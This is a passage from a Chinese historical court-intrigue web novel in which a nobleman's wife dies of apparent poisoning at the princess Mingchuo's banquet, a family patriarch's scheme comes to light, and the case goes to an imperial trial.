明绰便没说什么,任她抬头取梅花上的雪水。
正厅的宴还没完,但是也没人吃得下饭了。李夫人说什么也不肯女儿出家,一时哭天抢地,又埋怨都是楚培顽固,把女儿逼到这个份上。楚培也是有苦难言,如今陛下都罚了袁綦停职了,他又说同意和离,那陛下的脸面往哪里搁?
但楚恕颐心意已决,是非要出家不可了。妙澄不耐烦听他们吵闹,自顾自出来取雪水,明绰也跟了出来,让他们自家人看着商量。
“长公主,”妙澄突然开口,“其实有一件事,我一直想问你。”
“你说。”
妙澄继续扫雪水:“当年上龙盘山时,我依稀记得是一个男人背我上山的,可我不知道他是谁……”
慈安比丘尼说没见过什么男人,当年跟着上山的那个老妪也三缄其口,妙澄一度以为那是她病危时出现的幻觉。这世上只有长公主知道真相,可是她也已经远嫁长安,妙澄还以为她今生都得不到这个答案了。
“他是我的恩公,”妙澄有些赧然地朝明绰笑一笑,“若他还在世上,我知道了他是谁,也好谢谢他。若他不在了,我便为他念经祈福,盼他来世有好报。”
明绰喉中一哽,一时竟不知道该如何回答。她应该说出那人也同样是害她父亲丧命,诡计牵连她母亲入狱的仇人吗?
妙澄看着她:“长公主?”
明绰露出了一个微笑:“他还在世,也是佛门中人,法号慧玄。”
妙澄听见这字辈,眼睛亮了亮:“他是瓦官寺的师兄?”
明绰没多解释:“如今已在洛阳了。”
妙澄便“哦”了一声,有些遗憾:“那是不得见了,不知道他过得好不好?”
“好。”明绰努力控制住了一瞬间涌上来的泪意,“他……得偿所愿,一展毕生抱负。”
用这样的词来形容一个出家人多少有些古怪,但是妙澄眨了眨眼,露出了一个十分释然的笑容。她只要知道这些就够了。
“那你……”明绰张了张嘴,又改口道,“比丘尼这些年,过得可好?”
妙澄不再收集雪水了,整个人都转了过来,认真地看着她。明绰也不是完全没有听说过后来的事,虽然因崔挺护驾有功,后来还是把姐姐保了出来,但崔夫人的身体彻底被牢狱之灾拖垮了,没多久也撒手人寰。妙澄还在龙盘山上半死不活地养着病的时候,就成了一个孤女。
后来一直护佑着她的慈安比丘尼也走了,王家还想把她接回来,若不是姨母和舅舅站出来帮她,只怕她不是被叔父送进宫里,就是不知道又嫁给哪户王侯了。
“妙澄一生清净自在,皆拜长公主所赐。”
她的声音很轻,唇边的一抹笑容像花瓣上的薄雪。凑近了看,才看到她脸上确实有一道很浅的疤,想来便是当年她拒绝叔父的安排的时候,自己划的。疤虽淡了,却很长,也不知道当年下了多大的决心。可是这疤也完全不影响什么,人依然是美的,只是再也不和当年一样,像画上的人物。她终于有了活气。
“龙盘山上一直有一盏灯为长公主而点。”妙澄合十为礼,深深一拜,“贫尼日夜祝祷,盼长公主平安喜乐,福寿无极。”
明绰退了一步,伸手把她搀起来:“你快起来……”
她话没说完,眼眶已是忍不住一热。妙澄握住了她的手,也微微红了眼睛。明绰一时什么都说不出来,感觉她那双手粗糙而温热,翻过来细看了看,只看到好几处紫红的冻疮,她再想想龙盘山上的清苦
,眼泪到底还是没忍住落了下来。
瓦官寺中有很多修行的世家权贵,但大多数做不到真正割舍红尘世俗,往往仆从如云,奢靡如故。只有当年的慈安比丘尼,为了与谢氏彻底断绝,甘愿上龙盘山苦修。然后是王执瑈,如今,又要多加一个楚恕颐。
怎么一代一代,总有不得不上山的女人。
“长公主不必忧心,”妙澄似是知道她在哭什么,轻声安慰,“她父母尚在,过得几年,他们想通了,自会接她回家的。”
明绰便吸了吸鼻子,强迫自己露出了一个笑容来:“你姨母也是这么说。”
崔庆英是家里幺女,没比王执瑈这个外甥女大几岁,所以从小都是和小一辈人一起玩,楚恕颐也是她手帕交。在小一辈里,她又是大姐姐,所以主意最多。出家这事儿,就是她提出来,借着长公主的名头去办的。
崔挺被妹妹拉来,也有另一层深意。他和故去的姐姐感情深,妙澄在龙盘山上的一应起居用度,王家没人管,都是他和崔庆英兄妹两个在支撑。有他在,也是让楚培心里有个底,知道女儿出家也不至于太无依无靠。
别说楚培,明绰心里也有了个底。左右再盘算一遍,确认没有比这更好的法子了。妙澄却突然松开了与明绰交握的手,退了一步。明绰下意识回过头,顺着她的视线看过去,只见袁綦站在远处,显然是在看她,但又不敢过来。
妙澄抱着玉瓶告退:“贫尼去看看楚夫人。”
明绰点了点头,仍旧站在红梅下。妙澄重新走进正厅,与袁綦擦肩而过。袁綦十分恭敬地侧身让开,向她合十为礼。等到妙澄走过去了,他又看了一会儿,试探着朝这边走了两步,见明绰没有要避开的意思,才终于敢放开步子,走到了她面前。
明绰被他这副拘谨的样子逗得有些好笑,也不知道那天晚上的胆大包天都去哪儿了。
“长公主。”袁綦低头行礼,保持着跟她一臂之距。
明绰朝正厅点了点下巴:“怎么样了?”
“父亲已经答应了——我是说,右中侯。”袁綦后知后觉地改了口,眼神躲闪了一下,“刘夫人还是舍不得,恕颐在劝。”
明绰看着他:“那你怎么出来了?还不知道避嫌?”
“我……”袁綦一时语塞,良久,只道,“我来向长公主请罪。”
明绰端详着他的神色,很好奇他到底知不知道谣言是谁在外面散播。但袁綦一张口,说的却是另一桩事:“姜逯之死,实非我所愿,我……”
“哦。”明绰反应过来,不由笑了笑,“他是自寻的死路,与你无关。”
袁綦愣了一下,明显是没有想到明绰对姜逯不在意到了这个份上。明绰便又问了一句:“怎么?终于知道你这醋吃得没道理了?”
袁綦越发无地自容,再没话说。明绰便这样看了他一会儿,到底是跟自己认输了一般,轻轻叹了口气。
尽管在楚家面前撇清了流言,但她和袁綦心里都明白——甚至连楚恕颐都很清楚,他就是为了长公主才非要和离的。明绰一度也很恼火,厌烦他惹了麻烦,又处理不了。
他非要和离是幼稚、冲动、自以为是,但极力维护着恕颐的,不也是他身上同一种幼稚、冲动和自以为是吗?
明绰骗不了自己,是她给了袁綦不该有的希望。盂兰盆会那天,是她伸手拂了他的额角。黑暗中的那一刹那,也是她回应了他隐秘的欲望。
敬漪澜早就说过,什么都不能做就干脆不要想了。所以明绰也对自己生气,她好像也不是非得多么爱着他、想着他,但越是对他生气厌烦的时候,就越想要这个人。
“袁綦,”明绰的声音几乎是悲伤的,“我不可能嫁给你的。”
面前的男人低着头,什么都没说。明绰以为她得再解释得清楚一点儿,可是还没有等她说什么,袁綦就点了点头:“我知道。”
明绰笑了,显然不信:“你知道什么?”
袁綦抬起眼睛看着她:“你在等那位陛下来接你。”
她在公主府养多少男宠都无所谓,唯独不能改嫁。一旦改嫁,她就真的再也没有可能回到晔儿身边了。
明绰没有想到他是真的知道,一时无法承受他的目光,不得不转过了脸,克制着不要流泪。她现在有点儿不太记得为什么烦他了,只想起在南阳那天,风吹过满地的枯草,他把他的私令拿出来,说你要是想走,就走吧。
袁綦还是看着她:“我从来没有奢望过这个。”
“那你闹这一出是要做什么?”明绰冷着脸,“你也想做第二个姜逯吗?”
袁綦竟然没有说话,明绰转过头,发现他的眉毛轻轻一挑,嘴唇微妙地抿着,满脸都是一个意思——有何不可?
明绰骂他:“自甘下贱!”
袁綦还是没否认什么,只道:“嗯。”
明绰被他气笑了,甚至有那么一瞬间也在想,为什么不可以?但答案是显而易见的。袁綦不是什么没落世家的旁支子弟,他的父亲是当朝的大将军。
诚然,大将军的同盟是好东西,只是他要求的代价太高了,明绰不想给。
袁綦不敢奢望,他父亲可是什么都敢想。
明绰看着他,脸诡异地皱了起来,眼神非常像看着一块爱吃的甜糕,但是心知肚明那糖霜有毒。越是不能吃,越是想伸手揩一块,尝尝味道就好。然后她就真的这么干了——她伸出手,在袁綦的唇下很轻地拂了拂,好像那里沾了一块不存在的雪。
袁綦什么都没说,眼睛一瞬不瞬地看着她。现在是白天,她可以很清楚地看到袁綦的眼睛,还有他眼角与鼻尖的小痣。真奇怪,她几乎忘了他脸上还有两颗小痣。明绰这才意识到,回到建康以后,她就再没有过机会在青天白日下这样近地看他了。那两枚小痣像是某种证明,在无声翻覆的欲|望里近乎灼人。
明绰猛地把手收回来,心口砰砰直跳,甚至比那天晚上肌肤相亲还要紧张。
袁綦垂下眼睛:“既然无意,就不要这样戏耍我。”
明绰无声地攥紧了手心,竟然张口结舌。
袁綦逼近了一步:“长公主……”
明绰往后退了一步,视线越过了他,往后看。楚培不知道什么时候也从正厅出来了,正看到两人站在红梅下。他听不见两人在说什么,分明袁綦和长公主也没有做什么,但只是这么站着,眼神就不对。袁綦察觉到不对,也转过身,看到他的那一刹那,袁綦此地无银地突然跟长公主拉开了一点距离。
楚培的脸一下子就冷了,愤愤地转回了身。
就在此时,正厅突然传出了一声巨响,像是什么东西翻到了地上,然后是好几个女人同时响起的尖叫。
袁綦本来已经想去追上楚培,听见这动静
一下子变了脸色,加快脚步几步就跑了回去。明绰也紧紧跟在他身后,发现正在尖叫的是李夫人。她和桓宜华都跪在地上,楚恕颐倒了下来,浑身抽搐着,正一口一口地往外呕吐。
“恕颐!”袁綦猛地拨开两个女人,想把楚恕颐抱起来。她瞪大了眼睛,伸出手紧紧攥住了他的襟口,似是想说什么,但是一张嘴,便是更多混着血的呕吐物。
“怎么回事?”他扶着楚恕颐的脖子,让她侧过来不要被自己的呕吐物呛着,一边忙乱地问,“怎么会……”
袁綦下意识问的是兄嫂,两人都答不上来,他抬起头,却见袁煦的视线落到了楚恕颐刚才吃过的酒菜上。
明绰马上吩咐下人:“还不去叫大夫!”
李夫人跪坐在地上,茫然地张着嘴尖叫,楚培也想去看女儿怎么了,但是一着急就摔了一跤,崔挺赶紧去扶。袁煦被挤在了后面,揽着妻子的肩膀,也是一脸的惊异。而妙澄手里紧紧攥着佛珠,在无声地念着什么——所有的人,都好像动作放慢了,没有人知道是怎么回事,但是鲜血就这样从楚恕颐的口鼻里飞快地涌出来,然后是耳朵,眼睛……她脖子里的青筋因为承受着巨大的痛苦而根根绽出,手紧紧地抓住了袁綦的襟口,用力到要把他的衣料撕破。
“你……”这是她唯一说得出来的字。她看着袁綦,重复着,“你……”
“不……”袁綦惊恐地抱着她,不明白发生了什么,只能叫她的名字,“恕颐!”
他抬起头,满脸都沾着妻子的血,还有他流出来的眼泪:“大夫呢!去叫人啊!”
可是没有人来。楚恕颐用尽了最后的力气,想把他推开。她不能作为他的妻子死去,她不要在他怀里。她努力地想往什么地方爬,可是没有人分辨得出来她到底想去哪里,是父母,又或是已经近在咫尺的某个地方。然后她睁大了眼睛,最后用力地吸进去一口气,不动了。
袁綦还抱着她,梦呓似的叫了她一声:“恕颐?”
“啊——”楚培突然发出了野兽似的一声怒吼,人都没有站直,四肢并用着往前一冲,袁綦根本没有反应过来,就被他摁在了地上,楚培抡起拳头就往他脸上打,“是你!是你!”
袁煦和崔挺同时扑上去制止,袁綦下意识地伸手护住了头脸,却没有反抗。
李夫人已经夺回了女儿的身体,可是她的脖子无力地软着,任母亲怎么呼唤都没有任何反应。直到李夫人也突然两眼一翻,一口气没有喘上来,倒了下来。
妙澄手里的佛珠突然断开,噼里啪啦,溅了一地。一颗佛珠一路往前滚,沾到了楚恕颐吐出来的血,然后就这样停在了她茫然地睁大的眼睛前。
楚培被压制得动弹不得,伸出了一只手,突然指控地伸向了明绰:“你!”
明绰惊得退了一步,崔庆英就在她身边,勉强扶住她才没有摔倒。
“你们!奸|夫淫|妇!”楚培怒骂着,“还我女儿!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
140-150
第141章
袁煦大步走到父亲房中,头一次连门也不耐烦敲。他破门而入,吓得袁增新纳的郑氏一声惊叫,慌慌张张地把衣服穿好,见到是他,哆哆嗦嗦地唤了一声:“大公子?”
袁煦下巴绷紧,冷着脸说了一句:“滚出去。”
郑氏一句话都不敢多说,立刻从袁增腿上跳下来,拢着衣服跑出去了。袁增倒是也没说什么,看了儿子一眼,仍旧若无其事的,指间拈着酒,细细地品。
袁煦满腔的怒火和困惑,又不敢对着父亲发作,站在那里,捏得指关节都“咔咔”响。
袁增一杯酒喝完了,这才慢悠悠地问了一句:“怎么了?”
“父亲,楚氏死了。”
袁增睁大了眼睛,微微坐直身子,似是当真意外:“什么?”
“二郎已经被楚家扭送见官了!”袁煦没控制住音量。
“放肆!”袁增把手里的酒杯一放,“你跟谁说话呢?”
他的反应越发激怒了袁煦,他心知肚明是谁下的手,偏偏却一句指责的话都说不出来,半晌,突然发出了一声低吼,狠狠地在墙上打了一拳。
“你急什么?”袁增轻蔑地一笑,“见官?哪个官?我们家就是官!”
袁煦深吸了一口气,轻轻颤动着,把拳头松开,又握紧。他的指关节已经打破了皮,随着他的动作慢慢渗出血。
“好好的,怎么死了?”袁增的平静带着一种说不出的残忍,“难道是长公主因为与二郎的私情,给楚氏下了毒?”
袁煦喉中噎了一下,突然明白了,怪不得是今天……因为长公主相邀,父亲知道他们今天都会在公主府。
毒是长公主出于嫉妒才下的,楚培显然就是这么想的,但是崔挺不信。他亲眼见到了长公主如何为楚氏安排后路,她根本没有杀人的理由。
到了御前,崔挺兄妹和妙澄比丘尼作为人证都会替长公主说话——但这都不重要,陛下根本就不会治长公主的罪,所以这件事只可能是袁綦来担。
“父亲,你何必啊!”袁煦落了泪,“楚氏本已要出家了,二郎和长公主两情相悦,你何必还非要楚氏的性命啊!”
“出家有什么用?”袁增似是十分厌恶他的眼泪,皱起了眉头,“只要人还活着,她就是正妻原配!陛下难道会允许他的妹妹给二郎做小吗!”
“你就一点儿都不顾及二郎吗?”
袁增终于有点儿恼火了:“我就是为了他,才会这么做!”
命案的事情袁增根本不担心。掌管刑狱定谳的是廷尉府,而廷尉恰好姓桓。桓皋是桓宜华的亲叔叔,就算袁綦被暂时羁押,最后的结果也一定是无罪。
原本桓廊和谢聿等人不满太学新政,是要拿长公主和姜逯的事情开刀的,没想到陛下先下手为强,干脆把人弄死了。现在传得人尽皆知的是长公主与袁綦的私情,桓廊不知道袁增的算盘,只顾及着袁綦是自家人,暂且按下不表罢了。袁增只要稍稍暗示,届时虽然不能以人命案件来治长公主的罪,到太极殿上弹劾她通奸总还是免不了的。
袁綦可不是姜逯,陛下不可能暗中将他杀了就想了事。等通奸之事闹得人尽皆知,礼法国法在上,又有重臣施压,长公主只有下嫁一条路可以选了。
“长公主不是任人摆布的女子,”袁煦摇了摇头,觉得父亲太不了解她了,“若她不肯吃这个亏,非要查明真相……”
“真相?什么真相?”袁增冷笑了一声,“人是死在她家里的,她想想怎么求陛下包庇她僭权干政、鸩杀官眷的罪吧!”
她既然试探了,袁增就也表个态。拒绝当朝大将军的同盟,自然也是要付出一些代价的。
袁煦就什么都说不出来了,指节上的痛变得尖锐起来。袁增垂头看了一眼他流血的手,突然拍了拍儿子的肩膀。
“伯彦,我知道你心里不甘。”袁增的手停留在他的肩膀上,“长公主本该是嫁给你的……”
袁煦猛地扭过脸。他早就不存着这个痴心妄想了,长公主于他,确实是一份遗憾,但不是为他自己,而是为萧盈那些无法言说的秘密。很多年前,萧盈除了是他的君王,也是他最好的朋友。他为了朋友的遗憾而遗憾着。时光渐渐过去,他们都长大了,这份遗憾就成了年少相交的情谊。他从来没有佩服过什么女人,她是唯一的一个。但这心思跟弟弟不一样,袁煦自己都很难讲清楚,也完全不指望父亲能理解。
袁增看了他一会儿,手指在他肩上捏紧,又道:“为父都是为了你们兄弟两个,为了袁家。”
他凑近儿子,轻声道:“等有一天,你的儿子想娶公主的时候,绝不会再有人看不起他们姓袁。”
袁煦浑身轻轻一震,久远的耻辱重新被父亲的话唤起,带来冲刷全身的刺痛。袁增似是满意了,最后拍了拍他的肩膀。
“行了,早些回去休息吧。”他笑了笑,“二郎明日就该回家了。”
袁煦低下头,沉默着退出了父亲的房间。刚把父亲的房门关上,就看到妻子站在廊下,冷冷地看着他。
袁煦的眼神有一瞬间的慌乱,但他还是装作若无其事,走到了妻子面前:“怎么样,三叔怎么说?”
桓宜华什么都没说,转身就走。袁煦只好跟在她身后,很快就回到了他们自己院中。桓宜华推开房门,袁煦下意识想跟进去,但是桓宜华停了下来,突然转过身,还是一句话没有,抬手就给了他一个巴掌。
袁煦始料未及,被她打得脸一歪。她的胸膛在无声地剧烈起伏,鼻孔翕张,嘴却抿得极紧。袁煦从来没有在她眼里看到过这种神情,愤怒和失望他并不陌生,但他第一次看到了妻子的鄙夷。
袁煦又唤:“宜华……”
又是一个巴掌,还是同一边。桓宜华的手微微发颤,看着丈夫脸上迅速浮现除了通红的几根指印。
“阿娘?”袁韶音突然探出了头。桓宜华没想到女儿在自己屋里等着,来不及遮掩,袁韶音已经看到了父亲脸上的红印子,惊得张大了嘴,“父亲!”
桓宜华立刻把女儿的肩膀一揽,只道:“你父亲今晚去苻姨娘那里。”
她说着就要把门关上,袁煦看了她一眼,有一瞬间,似是还想进门,但终究又什么都没做,任由房门在他面前关上。没一会儿,就传来了他走开的脚步声。
桓宜华掩饰着情绪,对女儿露出一个微笑,跟平常一样问她今天过得如何:“今日去承华宫了吗?”
袁韶音和其他的世家贵女一样,如今在宫里的女尚书那里读书。她之前听了长公主的话,对萧秧友善,萧秧也愿意跟她说话。难得他们俩相处起来的时候,萧秧几乎和正常人无异。所以敬夫人对袁韶音格外青眼,经常邀她去承华宫。
袁韶音点了点头,又道:“长公主进宫了。”
桓宜华已经知道了,所以只是“嗯”了一声。
袁韶音小心地看着她的脸色,突然颤着声音问:“阿娘,他们说,婶娘……死了?”
当时袁韶音还在承华宫里,消息是一个宫人送来的。袁韶音一时都没有反应过来这个“楚氏”说的是自家的婶娘,直到敬夫人脸色诡异地转过头来看着她,她才如梦初醒一般,砸碎了手中的一杯茶。
她不敢信,着急忙慌地从宫里回来就去二叔院里找,可是二叔和婶娘都不在。袁韶
音提心吊胆地等到了半夜,才看到父母回来。
桓宜华不知道该说什么好,只能搂住了女儿。看到她这个反应,袁韶音顿时就明白了,一下子“哇”地哭了出来。
“不……”她抓着母亲的袖子,不明白怎么会这样,“婶娘呢?她在哪里?”
桓宜华流着泪,什么都说不出来。
当时楚培扭着二郎要见官,崔挺和袁煦都拦不住,只能一道去京兆尹那里。李夫人一度晕厥,被针刺人中才醒转过来,第一件事就是要跟长公主拼命,桓宜华、崔庆英和妙澄三个人加起来都险些没有拦得住她。见长公主这里相帮的人多,李夫人又马上派人回家去传信,请他们家老太夫人。明绰还想辩白,但是桓宜华催着她,让她抢先进宫去向陛下陈情。
楚家进宫是要先递奏疏,等陛下答应见才行的,尤其楚培现在不领官职,他没资格夜里受皇帝的接见,最早也得是明天,哪比得上长公主有直入宫禁的特权?李夫人本就委屈,还见到桓宜华这样帮着长公主,气得直接动上了手。这些年来,桓宜华和李夫人的交情一直不错的,比起袁綦的母亲,李夫人更愿意和她打交道,到今天算是彻底撕破了脸。
长公主一走,京兆尹那边就来人了。这一位是新上任的,他虽吓得半死,但也只能照章办事。明绰走之前交代了阴青蘅,若有官府的人来,不要阻拦。京兆尹得以顺利收走了宴上酒菜去查验,一时千恩万谢,恨不得给阴女史磕头。
李夫人原是坚持不许他们碰女儿的尸体的,但京兆尹说不验尸不能定谳,难不成空口白牙,就指控皇亲吗?楚培做主许了,可是京兆尹又说他看不出来这是不是中毒,看着倒像是暴病……眼看着楚培又要打人,他便手一摊,说那就只能让他们把尸体带回衙署,等廷尉府那边更有经验的仵作来看。
袁煦就在这时把她拉到一边,说二郎已被羁押,让她快去三叔那里。
桓宜华便连轴转似的又去叔父家中,话才说了一半,宫里就来人了。一直到了这会儿,桓宜华才终于能停一停。女儿一问,她才发现,她甚至不知道恕颐今晚有没有能够回家,她是被留在了京兆府衙门?还是已经被三叔带走了?心里转啊转,就是她对她说的最后那句话。
她说,阿嫂,多谢你。
谢她什么呢?谢她明知道真相,却沉默着仍旧栖身于袁氏屋檐下吗?
桓宜华泪如雨下,低下头吻了吻女儿的头发。母女两个轻轻依偎在一起,袁韶音的哭声渐渐弱了,但始终没有断绝,如丝如缕,轻轻飘进空气中,随着风扬起来,最终轻轻地挂到了宫城的檐角上。
明绰骤然惊醒,不知何时已在梦中落了满脸的泪。一只手立刻伸过来,抚了抚她的额角,然后安慰地伸过来一双手臂,把她圈进了怀中。
明绰抖得厉害,闭上眼睛,闻到了敬漪澜身上清淡的熏香味。
她进宫的时候,萧盈没太多问,就让她先不要回公主府。等到明绰魂不守舍地到上阳宫时,敬漪澜已经在这里等着了。
“没事,”敬漪澜的声音很清醒,好像一直没睡,“没事了。”
明绰在她怀里依偎了一会儿,直到噩梦中的残影渐渐散干净,才平复了几分。
敬漪澜放开她,从床上起来,去给她倒了一杯安神的茶来,明绰接过来,道了声谢,才道:“我好像听见皇兄的声音。”
敬漪澜:“他来过。”
萧盈来的时候,明绰已经睡下了,只有敬漪澜守着她。萧盈也是很多年没跟敬漪澜独处过了,两人相对无言,怪尴尬的,他就悻悻地走了。
明绰点了点头,正想问萧盈来说了什么,却见敬漪澜的神色很奇怪,直勾勾地盯着她的脸看。
明绰让她看得心里发毛:“怎么了?”
敬漪澜似是做了一番小小的心理斗争,还是决定问出了口,只是问得非常小声,怕谁听见似的:“陛下真是先帝的儿子吗?”
明绰一下子睁大了眼睛,怎么都想不到敬漪澜会突然问这个。
敬漪澜入宫的时候,关于萧盈的身世已经不会再有人提了。她只知道萧盈并非谢太后所出,和长公主是异母的兄妹,但从小作为双生子养大,所以感情甚笃——敬漪澜也一直相信这个,直到方才,明绰睡着的时候,她第一次亲眼见到了萧盈看着妹妹的眼神。
敬漪澜抿了抿嘴:“要么你根本不是他的亲妹妹,要么他就是个没有人伦的禽兽。他到底是秧儿的父亲,所以我真的、真的希望是前者。”
明绰张开嘴,似是想说些什么,但又觉得在敬漪澜面前编什么瞎话都没有意义。敬漪澜脸上立刻露出松了一口气的神情,半点儿没有意识到自己的儿子不是皇室血脉的抗拒,只有确认了萧盈原来不是禽兽的庆幸。
明绰居然从这副情形里感觉出了一丝好笑,勾了勾嘴角,突然道:“星娥十几年都没看出来。”
“嗯,皇后这个人一向是……”敬漪澜意有所指地点了点自己的太阳穴,没往下说。
明绰又是“噗嗤”一声,然后又觉得不该这样笑。但是让敬漪澜这么一搅,梦里楚恕颐抽搐着吐血不止的惊骇终于彻底散去了。她并不想解释她跟萧盈之间是怎么回事,好在敬漪澜也没有要问的意思,主动地转移了话题。
“陛下说,此案已经被移交给廷尉府了。”
明绰愣了一下:“这么快?”
她不意外桓家会插手,但还是为这个速度感到惊异。但转念一想,应该也是萧盈的意思。明天一早,楚家就会入宫状告,萧盈肯定已经下旨廷尉连夜验尸验毒,即使不能马上定谳,也要让他在面对楚家的时候心里有个数。
“那袁綦呢?”明绰想起来,“他也被移交廷尉了吗?”
敬漪澜的眉毛高高地一挑,又露出了和刚才一模一样的表情。带了一点恍然,又有一点说不上来的尴尬。
“今夜承天门没锁,”敬漪澜斟酌着回答她,“廷尉已连夜将袁将军送进了宫,陛下要亲审。”
第142章
翌日,楚、袁两家都进了宫。陛下召来了崔家兄妹、妙澄比丘尼和公主府的女史做人证,尚书、中书与御史三台诸部皆来了重臣,另外还有楚家老太夫人请来的几位皇亲,一起做个见证。含清殿里站得满满当当,堪比一场小朝会。陛下下旨,让廷尉就在御前审案。
桓皋公开了连夜验尸验毒的结果,说餐食里无毒,楚氏的尸体未见明显异样,可能是暴病而亡。再结合各方人证的说辞,认为楚家状告袁綦和长公主不合理,当定无罪。
楚培还没说话,袁增就先站
出来,说廷尉与他家有亲,或有包庇之嫌,请陛下另派人来复核此案。楚培被他抢了词,一时愣在那里,竟没反应得过来。袁增姿态摆足,含着泪连连向楚培请罪。儿子被羁押了,他也一句没有提要放人,一再表态,一定要查个水落石出。
陛下也没着急说什么,只问了问在座可还有疑虑的。尚书左丞王勤不明白长公主为何会安排楚氏出家,又把崔庆英的证词详询了一遍。崔庆英不敢含糊,在御前将楚氏生前如何想和离、如何去向长公主求助、长公主如何做主安排、她又如何去请来了妙澄比丘尼等等经过和盘托出。
然而桓廊听完又有了疑虑,觉得“楚氏向长公主求助”一节讲不通。既然楚培指控,当日亲眼看到长公主与袁綦有私情,那楚氏如何还会去找长公主?是不是其实是长公主为了私情,要逼原配出家呢?
他这样一讲,众人便都觉得通了许多。桓廊接着往下梳理,说既然长公主已经安排了楚氏出家,那确实是没有再要杀人的必要了,既然宴上的酒菜无毒,想来确实与长公主无关。
他如此一辩,众臣便都知道这是在迎合了陛下的心意,纷纷附议。楚培说出当日所见,本是想用通奸一事咬死长公主与袁綦合谋杀人,没想到竟让桓廊一张嘴脱了罪去,一时急得以头抢地,求陛下做主。
跟着楚家老太夫人来的那些个皇亲没什么实权,既无大将军以退为进的本事,又无桓令君巧舌如簧的辩才,说又说不过,就只能倚老卖老地哭了。大家让他们吵得头都疼了,才有御史中丞陈缙站出来说了句切中要害的话。
现在事情的关键,是楚氏到底是被人投毒,还是她自己暴病。廷尉验尸验得模棱两可,这要如何定谳?楚培一听,立刻请求陛下允许陈缙来主持复核此案。御史中丞上查台阁,下监州府,是块天不怕地不怕的硬骨头。萧盈便准了,命桓皋把一并卷宗物证都移交,让陈缙核查。
然而没两天,陈缙就上奏了,结论跟廷尉一模一样,无罪。
楚氏的尸体从外面看没有太明显的异样。中毒一般有齿甲发黑、面色青紫,或是血凝不涨、腹胀如鼓等等迹象,但楚氏这个样子,哪个仵作都断不了这到底是不是中毒。楚培若还是一口咬定女儿是被人投了毒,那陈缙就要剖腹查验,看楚氏最后吃了什么东西。
但楚家人一听说要损毁遗体,说什么也不干。楚培本以为陈缙是帮他的,没想到御史中丞谁也不帮,就想把案子查清楚。他现在觉得陈缙也不是好人,甚至还集结了执金吾卫中几个要好的军侯,要去廷尉府抢女儿的尸身。
陈缙没法子,只好把廷尉当时的结论重新写一遍,原样送了上来。陛下召楚培进宫,把两份定谳都甩他面前,楚培再无话说,只求能将女儿带回去好好安葬。
袁綦当天就被放回了家。
然而此事真正引起的风暴,是从结案之后开始的。
楚氏的尸身被领回去之后,崔挺瞧着楚培伤心,陪他喝了几杯,不小心多嘴,说出了崔庆英告诉他的一桩秘事——姜逯,就是袁綦为了长公主争风吃醋,一剑捅死的。
到这个份上,长公主与袁綦的私情就算被彻底坐实了。一时悠悠众口,连街头巷尾都在议论这奸夫□□逼死原配的故事,袁綦连家门都出不去了。
谢聿第一个上奏,主张赶紧将长公主下嫁袁綦,以保全皇家的颜面。明绰在含清宫与舅舅据理力争,这样不就是验证了“奸夫□□逼死原配”吗?到底保全了哪门子的皇家颜面?但是谢聿根本不听,就只认定一个道理,通奸既已人尽皆知,只有成婚,才能从礼法上挽救一二。
朝中和他一样想的人不在少数。桓廊,王勤,陈缙……三台诸部,凡是说得上话的,都不用袁增去鼓动,众口一词,劝陛下尽快为东乡公主指婚。连谢星娥挺着快临产的肚子都来劝,好像大雍的礼法道统,纲常伦理,国之正道……尽系明绰一身。
这么不歇气地闹了几天,含清宫传出消息,陛下发了旧疾,又罢朝会了。
明绰赶去侍疾,萧盈也不怎么跟她说话。最近萧盈一直沉默得很诡异,朝臣聒噪他不理,明绰要说什么,他也是不理。明绰本以为在这件事上萧盈是站在她这边的,可是现在,他的沉默也像某种惩罚。
一直陪到了第三个晚上,明绰才终于琢磨过来了,萧盈其实是在生气。只是他控制情绪已经成为了习惯,当他意识到愤怒产生的时候,就立刻抽离。但不只有急怒才伤身,他一味沉默,病虽发得不凶,却怎么也不见好。
明绰端了药来给他,一面直叹气:“戒嗔戒怒也不是这样戒的。”
萧盈没说什么,自己把药一口气喝干净。明绰坐在他床边,又道:“人总有喜怒,一味憋着,寻常人也要憋坏了。皇兄还不如发作一通,说不定好受些。”
萧盈好像终于听见她说话了,问得极其平静:“如何发作?”
明绰想了想,把手伸给了他:“都是我惹出来的事,皇兄打我吧。”
萧盈抬头看了她一眼,还是面无表情的。然后他当真伸出了手,在明绰手上拍了一下。明绰还没怎么觉得疼,他已顺势攥住了她的手。萧盈的手还是跟以前一样,冬天里就凉。明绰没有挣开,拇指轻轻地在他手腕上拂了一拂,摸到了他的脉搏。
“跟我说说话吧。”明绰轻声道,“皇兄,别这样。”
萧盈看了她一会儿,手指轻轻地扣住了她的。良久,终于开了口:“袁綦那天跟朕说,你们并无苟且。但确实两情相悦。”
明绰一听就笑:“他真的敢在皇兄面前这么说吗?”
萧盈便也笑,松开了明绰的手:“诈你的。”
袁綦只说,是他痴心妄想,恋慕长公主多年。从那一晚起,萧盈就每天都在想,他是应该杀了袁綦,还是应该让明绰嫁给他。
他不是没想过给明绰指婚。当姜逯跪在他面前的时候他就在想,早知道就给明绰指一个驸马。至少以后公主府里只有一个人,她也不能再想着回洛阳了……但终究只是一个一闪而过的念头,她已经足够恨他了。
后来知道了袁綦,他又觉得,真的要指婚也不能是袁綦。她在公主府里想召幸谁就召幸谁,偏偏不去碰袁綦,萧盈就不知道应当作何感想。是她不够喜欢,还是她太喜欢了?萧盈不喜欢这种特例,他才是明绰的特例。
明绰看出他在生气,猜对了,但理由却想错了。朝臣们在吵什么,萧盈根本没往心里去。礼法?他的存在就是对礼法最大的践踏,太极殿上每一声的万岁,每一次的朝拜,都是对礼法的反复鞭尸。他不过是弄死了一个姜逯,袁增怎么还以为他是真的忌惮什么礼法。
……但想到袁增,萧盈也不得不承认,也许他不应该说那句“只要原配尚在,就是辱没了长公主”。那样的话,楚氏也许还能活。萧盈并不在乎这个陌生女人的死活,但他不喜欢看见明绰哭得那样伤心。
那天晚上他去上阳宫看了明绰。她已经睡下了,只是睡得也不踏实,旁边还有太医开的安神茶。敬漪澜跟他解释,说长公主是因为跟楚氏交情好才这样伤心……萧盈没有跟她说其实他知道,那年盂兰盆会明绰就是和楚氏一起去的。
不过他也有些意外,既然明绰心里有袁綦,怎么还会和他的夫人这么亲近呢?就像他到今天也不明白明绰怎么会和敬漪澜这样要好。不过明绰回来以后跟谁都挺好的,萧盈都有点儿跟不上认她身边的人了。萧盈跟敬漪澜没话找话,说她小的时候没有这么多朋友的。敬漪澜似是很意外,觉得长公主不像是那样的人。
